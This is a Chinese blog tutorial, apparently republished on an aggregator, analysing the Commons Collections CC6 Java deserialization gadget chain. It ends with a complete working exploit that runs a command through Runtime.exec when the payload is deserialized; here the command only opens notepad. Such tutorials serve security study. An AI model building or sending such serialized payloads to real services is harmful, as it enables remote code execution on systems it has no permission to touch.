java反序列化 cc链6 分析

news2024/12/22 20:15:02

前言

这里分析完cc1的两个以后,白日梦佬又介绍了cc6链,最主要的是这个链子不受jdk的版本影响,甚至不受cs版本的影响,这么说就是cs大部分都是可以使用cc链6,而且这个链子要简洁的很多,我一听这个好啊,哈哈哈。

但是后面我感觉自己被欺骗了65出了一点问题。

环境搭建

这里可以参考上面cc1链

java反序列化 cc链1 分析

链子分析 

利用第一阶段

这里就直接跨到这里了,不知道的可以看看上面的cc链1,里面有说

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),  
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
}; 
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这里我们还是使用LazyMap的get方法来往上爬,首先我们要知道既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发transfrom的类。

这里我们随便找一个transform方法,右键选择查找用法

上面我们使用了TransformedMap,但是他不只可以使用这个,这里还可以使用LazyMap类,这里通过F4直接查看

这里的意思就是,检测map中的键值有没有包含我们传入的这个key,如果没有就会进入判断,生成一个value,写进去一个键值对

这里来到上面我们可以看到,这里构造函数,我们可以任意控制factory的值,但是这里是一个受保护的方法,只能本类调用,这里往上看看。

这里我们发现,我们可以通过使用decorate方法,来控制factory的值

这里我们测试一下上面的思路对不对,因为上面的我们已经搞过一条链子了,这里我们就直接使用ChainedTransformer了,这里我们给get方法随便传入一个值,这个hash中肯定是没有key这个键值的,这里我看到了果然是触发了记事本,自己可以试试。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);
decorate.get("key");

利用第二阶段-TiedMapEntry

接下来我们查看到org.apache.commons.collections.keyvalue.TiedMapEntry中

 

这里我们看到他的getValue方法

 这里我们发现,他是触发了get方法,这里往上看看map的值我们能控制吗。

这里在上面看到了,这个类构造函数,这里我们可以看到map的值,我们是可以任意控制,那么接下来看看那里是触发了getValue方法

这里我们在下面的hashCode方法中看到,他是触发了getValue方法,但是一看到这个hashCode是不是就想到URLDNS链,这两个有着异曲同工之妙,所以说它才可以更好利用,忘记的可以看看URLDNS链
下面我们先手动触发一下看看

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),   
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hash = new HashMap<>();
Map decorate = LazyMap.decorate(hash, chainedTransformer);  

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);
tiedMapEntry.hashCode();

利用第三阶段-HashMap

接下来就是如何触发hashCode方法,说实在一说到这个,相信大家一定都可以想到HashMap吧,我们可以按照触发URLDNS链子一样触发他。

这里我们看到HashMap的源码,在hash方法这里,我们看到他是触发了hashCode方法,这里的是一个三元运算符,只要我们传进来的值不是null或者是空,他就会触发hashCode方法,还是挺好实现的。

从这里HashMap的readObject方法中,我们可以看到他是触发了hash方法,key值我们是可以控制的。

这里其实链子已经好了,很简便对吧,和前面两个相对而言真的已经非常简单了。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"bbb");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"aaa");

        serialize(hashMap);
        unserialize("1.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

利用第四阶段

问题:上面使用这串exp的应该都发现,他是执行了1次,但不是反序列化的时候执行,而且是在序列化的时候执行,单独执行反序列化就会发现,他也会执行一次记事本,但是为什么反序列化和序列化放到一起就只能执行一次呢?

这里就是说他有这和URLDNS链相似的问题,但是说好像也不是不能用。

跟进HashMap对象的put方法

这里我们发现,他也是调用了hash方法,这里我们可以修改上面东西,让他触发链子不完整,就不会执行恶意代码了,在通过反射在进入序列化之前,将链子补完整

这里我们将上面的链子,我们将上面的链子断掉,在最后的时候在修改回来,按照正常来说,这个是没有问题,但是之后发现是没有运行了,这里分析一下

在他进入的时候,因为他是没有key的,所以肯定是可以进入判断的,然后触发transform方法,但是她下面还有一个put方法,就是将这个没有的写进去,所以我们再进行反序列化的时候,他会检测我们传进来的key有没有,这里肯定是有的因为他put已经写进来了,所以我们要将他删除。

//完整exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
        };
        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        Map<Object,Object> ladecorate = LazyMap.decorate(hash, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(ladecorate,"aaa");
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"bbb");
        hash.remove("aaa");

        Class c = LazyMap.class;
        Field declaredField = c.getDeclaredField("factory");
        declaredField.setAccessible(true);
        declaredField.set(ladecorate,chainedTransformer);

        serialize(hashMap);
        unserialize("1.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

结语

感觉第三阶段的,也可以用吧,不是不能接收对吧,然后我再调试的时候确实遇到一些问题,其中有的玄学问题到现在都没有解决,但是有一个是解决了

关于IDEA在debug时私自调用toString()方法的问题_idea怎么调用tostring方法_lkforce的博客-CSDN博客

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/449203.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springcloud-02

1、微服务概述 1.1 概念 1.2 架构演进 单体架构&#xff1a; 将业务的所有功能集中在一个项目中年开发&#xff0c; 打成一个jar包 优点&#xff1a;架构简单&#xff0c;部署成本低 缺点&#xff1a;耦合度高 分布式架构 按业务功能对系统进行拆分&#xff0c;每一个业务模块…

如何将项目提交到别人的仓库

大纲&#xff1a; 1、在gitee中克隆(clone)别人仓库的代码。 首先&#xff0c;进入别人的仓库&#xff0c;点击 克隆/下载 2、在你存放项目的文件夹下克隆你刚刚复制的代码 &#xff08;右键点击Git Clone即可&#xff09; 点击OK 就开始克隆了 克隆成功之后&#xff0c;文件上…

【HuggingGPT】Solving AI Tasks with ChatGPT and its Friends in Hugging Face

文章目录 所解决的问题&#xff1f;背景所采用的方法&#xff1f;取得的效果&#xff1f;问题所出版信息&#xff1f;作者信息&#xff1f;参考链接 所解决的问题&#xff1f; 当前的语言模型Large Language Models (LLMs)缺乏处理复杂信息的能力&#xff0c;像视觉&#xff0…

重学Java设计模式-行为型模式-中介者模式

重学Java设计模式-行为型模式-中介者模式 内容摘自&#xff1a;https://bugstack.cn/md/develop/design-pattern/2020-06-27-重学 Java 设计模式《实战中介者模式》.html#重学-java-设计模式-实战中介者模式「按照mybatis原理手写orm框架-给jdbc方式操作数据库增加中介者场景」…

Maven项目中出现【不再支持目标选项 1.5】的解决办法

1 快速解决【单项目】 本方法只适用于单个项目&#xff0c;新建项目使用maven还会出现问题。 在pom.xml配置&#xff1a; <properties><maven.compiler.source>11</maven.compiler.source><maven.compiler.target>11</maven.compiler.target>&l…

高并发高吞吐IO秘密武器——epoll池化技术

1、epoll函数详解 epoll是Linux特有的IO复用函数&#xff0c;使用一组函数来完成任务&#xff0c;而不是单个函数。 epoll把用户关心的文件描述符上的事件放在内核的一个事件表中&#xff0c;不需要像select、poll那样每次调用都要重复传入文件描述符集或事件集。 epoll需要…

闲人闲谈PS之四十一——重新认识PS模块

惯例闲话&#xff1a;4月份参加了SAP咨询大师乐老师组织的公司间业务培训&#xff0c;印象极为深刻&#xff0c;乐老师从三权分立的角度同大家分析了公司间业务交易对象–库存的属地权、管理权、所有权&#xff0c;通过这种全新的视角&#xff0c;把复杂难以理解的公司交易用最…

万字复盘Vue2相关知识(适合学过但忘了然而需要上手的朋友)

目录 前言一&#xff0c;Vue2项目的创建及基本配置1.1 用脚手架创建项目1.2 项目结构1.3 入口文件main.js1.4 组件配置1.4 运行项目 二&#xff0c;Vue的基础知识2.1 数据显示2.2 数据绑定2.3 事件处理2.4 循环遍历2.5 判断语法2.6 计算属性2.7 监视属性 三&#xff0c;重要的生…

python 资料

算法和设计模式 Python实现算法和设计模式 algorithms - Python的一个算法模块. PyPattyrn - 一个用于实现常见设计模式的简单而有效的库. python-patterns - Python中设计模式的集合. sortedcontainers - 快速&#xff0c;纯Python的SortedList&#xff0c;SortedDict和So…

第1章:算法基础【AcWing】

文章目录 快速排序题目描述输入格式输出格式样例样例输入样例输出 提示 算法&#xff08;分治&#xff0c;双指针&#xff09; O ( n l o g n ) O(nlogn) O(nlogn)示例代码注意事项时间复杂度稳定性 归并排序题目描述算法&#xff08;分治&#xff0c;双指针&#xff09; O (…

数据库系统-索引

一、什么是索引 字典中的目录&#xff0c;就是生活中的索引 **索引&#xff1a;**定义在存储表基Table础之上&#xff0c;有助于无需检查所有记录而快速定位所需记录的一种辅助存储结构&#xff0c;由一些列存储在磁盘上的索引项index etries组成&#xff0c;每一个索引项又由…

诊断报文和通讯报文有什么区别?

&#x1f345; 我是蚂蚁小兵&#xff0c;专注于车载诊断领域&#xff0c;尤其擅长于对CANoe工具的使用&#x1f345; 寻找组织 &#xff0c;答疑解惑&#xff0c;摸鱼聊天&#xff0c;博客源码&#xff0c;点击加入&#x1f449;【相亲相爱一家人】&#x1f345; 玩转CANoe&…

YOLOv5+双目实现三维跟踪(python)

YOLOv5双目实现三维跟踪&#xff08;python&#xff09; 1. 目标跟踪2. 测距模块2.1 测距原理2.2 添加测距 3. 细节修改&#xff08;可忽略&#xff09;4. 实验效果 相关链接 1. YOLOV5 双目测距&#xff08;python&#xff09; 2. YOLOV7 双目测距&#xff08;python&#x…

【红队APT】钓鱼篇Office-CVE漏洞RLO隐藏压缩包释放免杀打包捆绑

文章目录 文件后缀-钓鱼伪装-RLO压缩文件-自解压-释放执行Office套件-CVE漏洞-MSF&CSMicrosoft MSDT CVE-2022-30190 代码执行Microsoft MSHTML CVE-2021-40444 远程代码执行CVE-2017-11882 文件后缀-钓鱼伪装-RLO 经过免杀后的exe程序(xgpj.exe)&#xff0c;进行重命名&a…

float,flex和grid布局

页面布局往往会影响着整体的结构与项目的样式&#xff0c;通常我们用的布局方式有三种&#xff1a;float,flex,grid 1.float或position布局 1.1概念 首先对于一个页面来说&#xff0c;有浮动流&#xff0c;文档流&#xff0c;文本流这几种模式&#xff0c;而float布局则是脱离…

接口文档设计的12个注意点

前言 我们做后端开发的,经常需要定义接口文档。 最近在做接口文档评审的时候&#xff0c;发现一个小伙伴定义的出参是个枚举值&#xff0c;但是接口文档没有给出对应具体的枚举值。其实&#xff0c;如何写好接口文档&#xff0c;真的很重要。今天给你带来接口文档设计的12个注…

Camera Tuning - MTK pipeline

MTK ISP Pipeline 模块介绍&#xff1a; BPC&#xff1a;坏点矫正 OBC&#xff1a;OB矫正 FUS&#xff1a;此节点处理后&#xff0c;支持视频、预览HDR Digital Gain&#xff1a; 1、LSC&#xff1a;shading矫正 2、WB&#xff1a;白平衡矫正&#xff08;此步处理后&#xff0…

数字设计笔试Verilog手撕代码 - 累加器

前言 本系列整理关于数字设计的笔试或面试的设计问题&#xff0c;手撕代码继续撕&#xff0c;今天撕一个百度昆仑笔试题的累加器设计。 设计需求 题目来源&#xff1a; 【数字IC/FPGA】百度昆仑芯手撕代码–累加器 已知一个加法器IP&#xff0c;其功能是计算两个数的和&am…

虚幻图文笔记:如何清理Character Creator角色的垃圾数据

书接上文《虚幻图文笔记&#xff1a;Character Creator 4角色通过AutoSetup For Unreal Engine插件导入UE5.1的过程笔记》 在一个项目中我按照上文的步骤导入UE5&#xff0c;但是产生了一些莫名其妙的文件&#xff0c;下面还原一下发现和解决问题的过程。 1. 使用Character Cr…

【C++入门必备知识】

【C入门必备知识】 ①.【命名空间】1.命名空间定义Ⅰ.正常定义命名空间Ⅱ.嵌套定义命名空间Ⅲ.合并命名空间 2.命名空间的使用Ⅰ.命名空间名称及域作用限定符Ⅱ.using成员引入Ⅲ.using namespace名称全部引入 3.注意事项Ⅰ.概念1.全缺省参数2.半缺省参数3.使用规则4.应用场景再…